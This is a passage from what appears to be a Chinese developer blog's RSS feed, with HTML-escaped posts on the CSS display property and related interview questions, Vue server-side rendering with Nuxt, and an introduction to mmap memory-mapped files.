&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;btn&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;按钮被点击了&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-css-与-javascript-的交互"&gt;3. &lt;strong&gt;CSS 与 JavaScript 的交互&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;JavaScript 也可以与 CSS 进行交互，动态地控制页面的样式。常见的方法有：&lt;/p&gt;</description></item><item><title>display</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/display/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/display/</guid><description>&lt;h4 id="一display属性介绍"&gt;一、display属性介绍&lt;/h4&gt;
&lt;p&gt;display 属性规定元素应该生成的框的类型。&lt;/p&gt;
&lt;p&gt;以下是一些关于display比较常用的属性值：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;元素不会显示&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;block&lt;/td&gt;
&lt;td&gt;此元素将显示为块级元素，此元素前后会带有换行符。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;inline&lt;/td&gt;
&lt;td&gt;默认。此元素会被显示为内联元素，元素前后没有换行符。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;line-block&lt;/td&gt;
&lt;td&gt;行内块元素。（CSS2.1 新增的值）[IE6/7不支持]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;list-item&lt;/td&gt;
&lt;td&gt;此元素会作为列表显示。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;inline-table&lt;/td&gt;
&lt;td&gt;此元素会作为内联表格来显示（类似 table），表格前后没有换行符。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;table&lt;/td&gt;
&lt;td&gt;此元素会作为块级表格来显示（类似 table），表格前后带有换行符。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;table-row&lt;/td&gt;
&lt;td&gt;此元素会作为一个表格行显示（类似 tr）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;table-cell&lt;/td&gt;
&lt;td&gt;此元素会作为一个表格单元格显示（类似 td 和 th）.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;inherit&lt;/td&gt;
&lt;td&gt;规定应该从父元素继承 display 属性的值。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其中我们在前端开发中比较常用的属性值一般是none、block、inline、inline-block。我将按顺序为这些属性值一一讲解。&lt;/p&gt;
&lt;h4 id="二displaynone"&gt;二、display:none&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;将元素与其子元素从普通文档流中移除。这时文档的渲染就像元素从来没有存在过一样，也就是说它所占据的空间消失了。元素的内容也会消失。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="三displayblock"&gt;三、display:block&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;block元素会独占一行，多个block元素会各自新起一行。默认情况下，block元素宽度自动填满其父元素宽度；&lt;/li&gt;
&lt;li&gt;block元素可以设置margin和padding属性；&lt;/li&gt;
&lt;li&gt;block元素可以设置width、height属性。&lt;/li&gt;
&lt;li&gt;块级元素即使设置了宽度，仍然是独占一行。块级元素在设置宽度的情况下，是通过自定义margin-right来自动填满一行，这个时候你设置margin-right是无效的；块级元素在没有设置宽度的时候，margin-right会生效，块级元素的width通过自定义在自动填满一行。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;块级元素在设置宽度的情况下，是通过自定义margin-right来自动填满一行，这个时候你设置margin-right是无效的，如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/display/image-01.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;块级元素在没有设置宽度的时候，margin-right会生效，块级元素的width通过自定义在自动填满一行，如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/display/image-02.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id="四displayinline"&gt;四、display:inline&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;inline元素不会独占一行，多个相邻的行内元素会排列在同一行里，直到一行排列不下，才会新换一行，其宽度随元素的内容而变化；&lt;/li&gt;
&lt;li&gt;inline元素设置width、height属性无效；&lt;/li&gt;
&lt;li&gt;inline元素的margin和padding属性，水平方向的padding-left、padding-right、margin-left、margin-right都产生边距效果；但竖直方向的padding-top、padding-bottom、margin-top、margin-bottom不会产生边距效果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/display/image-03.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id="五displayinline-block"&gt;五、display:inline-block&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;将对象呈现为inline对象，但是对象的内容作为block对象呈现，之后的内联对象会被排列在同一行内。就是集合了block和inline的全部优点。width、height、margin、padding设置都会生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/display/image-04.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;原文：&lt;a href="https://juejin.cn/post/6844903781566513160"&gt;https://juejin.cn/post/6844903781566513160&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1-基本概念"&gt;1. &lt;strong&gt;基本概念&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;请简述 CSS 中的 &lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 属性及其作用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 属性的常见值有哪些？请列举并解释其含义。&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;例如：&lt;code&gt;block&lt;/code&gt;、&lt;code&gt;inline&lt;/code&gt;、&lt;code&gt;inline-block&lt;/code&gt;、&lt;code&gt;flex&lt;/code&gt;、&lt;code&gt;grid&lt;/code&gt;、&lt;code&gt;none&lt;/code&gt; 等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-display-block"&gt;2. &lt;strong&gt;&lt;code&gt;display: block&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 &lt;strong&gt;&lt;code&gt;display: block&lt;/code&gt;&lt;/strong&gt;？它会给元素带来哪些表现？&lt;/li&gt;
&lt;li&gt;一个块级元素通常具有哪些特点？例如：它的宽度会如何变化？它是否会换行？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-display-inline"&gt;3. &lt;strong&gt;&lt;code&gt;display: inline&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 &lt;strong&gt;&lt;code&gt;display: inline&lt;/code&gt;&lt;/strong&gt;？它与 &lt;strong&gt;&lt;code&gt;display: block&lt;/code&gt;&lt;/strong&gt; 有什么不同？&lt;/li&gt;
&lt;li&gt;内联元素如何处理宽度和高度？它们是否会占据整个可用宽度？&lt;/li&gt;
&lt;li&gt;如何让一个内联元素变得像块级元素一样换行？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-display-inline-block"&gt;4. &lt;strong&gt;&lt;code&gt;display: inline-block&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 &lt;strong&gt;&lt;code&gt;display: inline-block&lt;/code&gt;&lt;/strong&gt;？它结合了 &lt;code&gt;inline&lt;/code&gt; 和 &lt;code&gt;block&lt;/code&gt; 的哪些特点？&lt;/li&gt;
&lt;li&gt;使用 &lt;strong&gt;&lt;code&gt;inline-block&lt;/code&gt;&lt;/strong&gt; 时，元素的宽高如何影响布局？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inline-block&lt;/code&gt; 元素如何与其他元素对齐？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-display-none"&gt;5. &lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;请解释 &lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt;&lt;/strong&gt; 的作用与 &lt;strong&gt;&lt;code&gt;visibility: hidden&lt;/code&gt;&lt;/strong&gt; 的区别。&lt;/li&gt;
&lt;li&gt;使用 &lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt;&lt;/strong&gt; 会有什么样的表现？例如，它对页面布局有何影响？&lt;/li&gt;
&lt;li&gt;当你将一个元素的 &lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 设置为 &lt;strong&gt;&lt;code&gt;none&lt;/code&gt;&lt;/strong&gt; 时，它会消失，但仍然存在于 DOM 中。如何通过 JavaScript 使其重新显示？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-display-flex"&gt;6. &lt;strong&gt;&lt;code&gt;display: flex&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;display: flex&lt;/code&gt;&lt;/strong&gt; 是什么？它通常用来实现什么样的布局效果？&lt;/li&gt;
&lt;li&gt;在使用 &lt;code&gt;flex&lt;/code&gt; 布局时，如何控制子元素的排列方向、对齐方式等？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;justify-content&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;align-items&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;flex-direction&lt;/code&gt;&lt;/strong&gt; 等 Flexbox 属性的作用是什么？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="7-display-grid"&gt;7. &lt;strong&gt;&lt;code&gt;display: grid&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 &lt;strong&gt;&lt;code&gt;display: grid&lt;/code&gt;&lt;/strong&gt; 布局？它与 &lt;strong&gt;&lt;code&gt;flex&lt;/code&gt;&lt;/strong&gt; 布局有何区别？&lt;/li&gt;
&lt;li&gt;在 &lt;strong&gt;&lt;code&gt;grid&lt;/code&gt;&lt;/strong&gt; 布局中，如何设置行和列的大小？如何控制子元素的位置？&lt;/li&gt;
&lt;li&gt;请举例说明 &lt;strong&gt;&lt;code&gt;grid-template-columns&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;grid-template-rows&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;grid-gap&lt;/code&gt;&lt;/strong&gt; 等属性的使用方法。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="8-display-table"&gt;8. &lt;strong&gt;&lt;code&gt;display: table&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 &lt;strong&gt;&lt;code&gt;display: table&lt;/code&gt;&lt;/strong&gt;，它如何模仿传统的 HTML &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; 元素？&lt;/li&gt;
&lt;li&gt;使用 &lt;strong&gt;&lt;code&gt;display: table&lt;/code&gt;&lt;/strong&gt; 时，如何控制表格的行和列布局？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;display: table-row&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;display: table-cell&lt;/code&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;code&gt;display: table-caption&lt;/code&gt;&lt;/strong&gt; 的作用是什么？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="9-布局模型对比"&gt;9. &lt;strong&gt;布局模型对比：&lt;code&gt;block&lt;/code&gt; vs &lt;code&gt;inline&lt;/code&gt; vs &lt;code&gt;flex&lt;/code&gt; vs &lt;code&gt;grid&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;你如何选择使用 &lt;strong&gt;&lt;code&gt;block&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;inline&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;flex&lt;/code&gt;&lt;/strong&gt; 或 &lt;strong&gt;&lt;code&gt;grid&lt;/code&gt;&lt;/strong&gt; 布局？&lt;/li&gt;
&lt;li&gt;在实际项目中，什么时候使用 &lt;code&gt;flex&lt;/code&gt; 布局，什么时候使用 &lt;code&gt;grid&lt;/code&gt; 布局？&lt;/li&gt;
&lt;li&gt;请比较 &lt;code&gt;flex&lt;/code&gt; 和 &lt;code&gt;grid&lt;/code&gt; 布局的优缺点及应用场景。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="10-display"&gt;10. &lt;strong&gt;&lt;code&gt;display&lt;/code&gt; 与其他布局属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在使用 &lt;strong&gt;&lt;code&gt;display: flex&lt;/code&gt;&lt;/strong&gt; 或 &lt;strong&gt;&lt;code&gt;display: grid&lt;/code&gt;&lt;/strong&gt; 布局时，如何与其他布局属性（如 &lt;code&gt;position&lt;/code&gt;、&lt;code&gt;float&lt;/code&gt; 等）配合使用？&lt;/li&gt;
&lt;li&gt;如何解决使用 &lt;strong&gt;&lt;code&gt;display: flex&lt;/code&gt;&lt;/strong&gt; 或 &lt;strong&gt;&lt;code&gt;display: grid&lt;/code&gt;&lt;/strong&gt; 布局时遇到的常见布局问题，例如元素溢出、对齐等？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="11-display-none"&gt;11. &lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt; 与性能&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt;&lt;/strong&gt; 对页面性能有何影响？如何通过 JavaScript 动态控制显示/隐藏元素以提高性能？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-display-contents"&gt;12. &lt;strong&gt;&lt;code&gt;display: contents&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是 &lt;strong&gt;&lt;code&gt;display: contents&lt;/code&gt;&lt;/strong&gt;？它是如何工作的？它与其他 &lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 值有什么区别？&lt;/li&gt;
&lt;li&gt;请举例说明 &lt;strong&gt;&lt;code&gt;display: contents&lt;/code&gt;&lt;/strong&gt; 的应用场景及可能的问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="13-display"&gt;13. &lt;strong&gt;&lt;code&gt;display&lt;/code&gt; 的继承性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 属性是否继承？如果没有，如何通过样式继承的方式控制多个元素的 &lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 属性？&lt;/li&gt;
&lt;li&gt;你如何在多个嵌套元素中保持一致的布局设置？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="14-display"&gt;14. &lt;strong&gt;&lt;code&gt;display&lt;/code&gt; 的可见性与布局&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;display&lt;/code&gt; 属性会影响元素的布局、渲染和可见性。请简要解释 &lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;code&gt;visibility: hidden&lt;/code&gt;&lt;/strong&gt; 的区别，它们对页面的影响不同吗？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="15-实际应用"&gt;15. &lt;strong&gt;实际应用&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;请描述一个你在实际开发中使用 &lt;strong&gt;&lt;code&gt;display&lt;/code&gt;&lt;/strong&gt; 属性解决布局问题的案例。&lt;/li&gt;
&lt;li&gt;如果需要在一个响应式设计中调整元素的布局，如何根据屏幕尺寸调整 &lt;code&gt;display&lt;/code&gt; 属性？&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>服务器渲染</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-020/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-020/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;什么是SSR(Server-Side Rendering)？类似于用Java、ASP.NET、php开发前端页面，服务端准备数据并执行页面渲染，然后把完整的HTML发送给客户端。现代化的SSR通常和Vue、React等前端框架强关联，通过Node.js在服务端提前将page、component使用同构方式渲染为html代码，其目的是在实现SSR时尽量复用一套渲染机制。例如Vue框架就同时支持了CSR(Client-Side Rendering)和SSR。&lt;/p&gt;
&lt;p&gt;SSR能解决什么问题？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SEO: &lt;code&gt;Google&lt;/code&gt;、&lt;code&gt;百度&lt;/code&gt;、&lt;code&gt;Yandex&lt;/code&gt;、&lt;code&gt;Bing&lt;/code&gt;或者&lt;code&gt;Yahoo&lt;/code&gt;等搜索引擎会通过网络爬取你的页面并建立索引，如果的信息越完整，那么你的网站就更容易被检索到。使用SSR技术，让页面在服务端提前渲染好再返回给客户端，这样各类搜索引擎就能拿到比较完整的页面信息，提升检索质量。&lt;/li&gt;
&lt;li&gt;首屏渲染：SPA(Single Page Application)将页面渲染放到客户端执行，并且在渲染之前要加载大量的Javascript代码，所以首屏渲染需要花费较长时间。而SSR直接在服务端渲染完再返回客户端，使用户能够快速看到页面内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;有哪些框架支持SSR？&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;开源库&lt;/th&gt;
&lt;th&gt;支持语言&lt;/th&gt;
&lt;th&gt;star数&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/nuxt/nuxt"&gt;Nuxt&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Vue&lt;/td&gt;
&lt;td&gt;54.9k&lt;/td&gt;
&lt;td&gt;快速构架、类型安全、高性能、易扩展&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/vercel/next.js"&gt;Next&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;React&lt;/td&gt;
&lt;td&gt;127k&lt;/td&gt;
&lt;td&gt;老牌框架、社区完善、Data Fetch、Styling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://quasar.dev/"&gt;quasar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Vue&lt;/td&gt;
&lt;td&gt;26k&lt;/td&gt;
&lt;td&gt;丰富的UI、支持桌面端和移动端&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://remix.run/"&gt;Remix&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;React&lt;/td&gt;
&lt;td&gt;29.9k&lt;/td&gt;
&lt;td&gt;极致的用户体验、开箱即用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;本知识点将以 Nuxt 为例，介绍如何实现 SSR。&lt;/p&gt;
&lt;h2 id="什么是nuxt"&gt;什么是Nuxt&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-020/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;基于Vue、React、Angular实现的&lt;code&gt;full-stack&lt;/code&gt;框架数不胜数，但就Vue框架领域内，应该数Nuxt最为Top 1。Nuxt保持了&lt;code&gt;Vue&lt;/code&gt;生态的&lt;code&gt;“开箱即用”&lt;/code&gt;特性，类似于Vite，几条指令就可直接run起来。如果你熟悉Vue，那么基于Nuxt写应用，体验上和写Vue客户端应用极其相似。&lt;/p&gt;
&lt;p&gt;Nuxt提前预制了一套目录结构，并自动处理路由、导入、数据获取，开发人员仅需按约定的规则实现页面、组件、数据API即可，极大降低开发人员学习成本。Nuxt的特性可总结为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基于文件的路由: 页面统一添加到&lt;code&gt;pages/&lt;/code&gt;目录下，例如添加index.vue、about.vue、contact.vue，就可以通过&lt;code&gt;/&lt;/code&gt;访问首页，通过&lt;code&gt;/about&lt;/code&gt;返回关于页面；&lt;/li&gt;
&lt;li&gt;代码分割：得益于Vue的&lt;code&gt;Virtual Node&lt;/code&gt;，Nuxt根据目录规则提前生成完整的依赖树，这样能够将所有code拆分为最小单元的&lt;code&gt;chunks&lt;/code&gt;, 从而减少应用初始化加载时间；&lt;/li&gt;
&lt;li&gt;开箱即用的SSR：Nuxt内部使用Vue的SSR，除了Vue实现SSR、CSR本身的差异，可以像开发CSR的Vue应用一样来开发SSR，降低研发心智负担；&lt;/li&gt;
&lt;li&gt;自动导入：在实现页面或组件时，不需要像CSR手动导入(&lt;code&gt;import Card from './Card.Vue'&lt;/code&gt;)依赖，当Nuxt识别到有使用外部组件，bundle过程会自动识别；&lt;/li&gt;
&lt;li&gt;数据获取工具：提供一套组合式FetchAPI，实现client、server端的同构；&lt;/li&gt;
&lt;li&gt;配置好的构建工具：&lt;strong&gt;默认使用Vite构建，同时支持Webpack、Rspack&lt;/strong&gt;；&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nuxt的架构设计和&lt;code&gt;vue/core&lt;/code&gt;很相似，将整体功能拆分为独立的package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心引擎：&lt;a href="https://github.com/nuxt/nuxt/tree/main/packages/nuxt"&gt;nuxt&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;bundlers: 打包器包含&lt;code&gt;@nuxt/vite-builde&lt;/code&gt;、&lt;code&gt;nuxt/webpack-builder&lt;/code&gt;、&lt;code&gt;@nuxt/rspack-builder&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;命令行工具：&lt;a href="https://github.com/nuxt/nuxt/tree/main/packages/nuxi"&gt;nuxi&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;服务端引擎：&lt;a href="https://github.com/unjs/nitro"&gt;nitro&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;开发套件：&lt;a href="https://github.com/nuxt/nuxt/tree/main/packages/kit"&gt;@nuxt/kit&lt;/a&gt;；&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="上手体验"&gt;上手体验&lt;/h2&gt;
&lt;h3 id="初始化项目"&gt;初始化项目&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;nuxi&lt;/code&gt;提供的指令初始化项目：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-kotlin" data-lang="kotlin"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx nuxi&lt;span style="color:#a6e22e"&gt;@latest&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt; nuxt-learn-examples
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果安装过程下载失败，可能需要配置hosts:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;185.199.108.133 raw.githubusercontent.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;最新nuxt版本3.14初始化的项目目录比较简单，少了pages、plugins等目录&lt;/strong&gt;，入口为&lt;code&gt;app.vue&lt;/code&gt;：&lt;/p&gt;</description></item><item><title>mmap详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/mmap%E8%AF%A6%E8%A7%A3/</link><pubDate>Thu, 07 May 2026 10:26:09 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/mmap%E8%AF%A6%E8%A7%A3/</guid><description>&lt;p&gt;mmap（Memory-mapped file，内存映射文件）是一种将文件或设备映射到进程地址空间的技术。通过mmap，可以像操作内存一样操作文件，是iOS开发中实现高性能IO的重要手段。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="基本概念"&gt;基本概念&lt;/h2&gt;
&lt;h3 id="什么是mmap"&gt;什么是mmap&lt;/h3&gt;
&lt;p&gt;mmap是一个POSIX系统调用，它在进程的虚拟地址空间中创建一个映射，将文件内容映射到内存地址。映射建立后，对该内存区域的读写操作会直接反映到文件上。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件映射&lt;/strong&gt;：将磁盘上的普通文件映射到内存，用于高效读写文件内容（iOS开发中最常用）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备映射&lt;/strong&gt;：将硬件设备的I/O内存（如显卡显存、网卡缓冲区）映射到用户空间，让程序可以像读写内存一样直接与硬件交互，常用于驱动开发和嵌入式系统&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid"&gt;flowchart LR
subgraph traditional["传统文件IO (read/write)"]
direction LR
U1["用户缓冲区"] &lt;-- "② 数据拷贝" --&gt; K1["内核缓冲区"]
K1 &lt;-- "① 磁盘读取" --&gt; F1["磁盘文件"]
end
subgraph mmap_io["mmap 内存映射"]
direction LR
U2["虚拟地址空间&lt;br/&gt;映射区域"] &lt;-. "直接映射&lt;br/&gt;零拷贝" .-&gt; F2["磁盘文件"]
end
traditional ~~~ mmap_io
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;数据流向&lt;/th&gt;
&lt;th&gt;拷贝次数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;传统IO&lt;/td&gt;
&lt;td&gt;磁盘 → 内核缓冲 → 用户缓冲&lt;/td&gt;
&lt;td&gt;2次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mmap&lt;/td&gt;
&lt;td&gt;磁盘 ↔ 映射区域（直接访问）&lt;/td&gt;
&lt;td&gt;0次&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="mmap的工作原理"&gt;mmap的工作原理&lt;/h3&gt;
&lt;pre class="mermaid"&gt;flowchart TD
A["调用mmap()"] --&gt; B["内核在进程虚拟地址空间&lt;br/&gt;分配一段连续地址"]
B --&gt; C["建立虚拟地址到文件的映射关系&lt;br/&gt;（页表项指向文件页）"]
C --&gt; D["返回映射区域的起始地址"]
D --&gt; E["进程访问映射地址"]
E --&gt; F{"页面是否在内存中?"}
F -- 否 --&gt; G["触发缺页中断&lt;br/&gt;(Page Fault)"]
G --&gt; H["内核从磁盘读取对应页面&lt;br/&gt;到物理内存"]
H --&gt; I["更新页表，建立映射"]
I --&gt; J["进程继续访问"]
F -- 是 --&gt; J
J --&gt; K["读写操作直接作用于内存"]
K --&gt; L["内核适时将脏页&lt;br/&gt;写回磁盘"]
&lt;/pre&gt;
&lt;hr&gt;
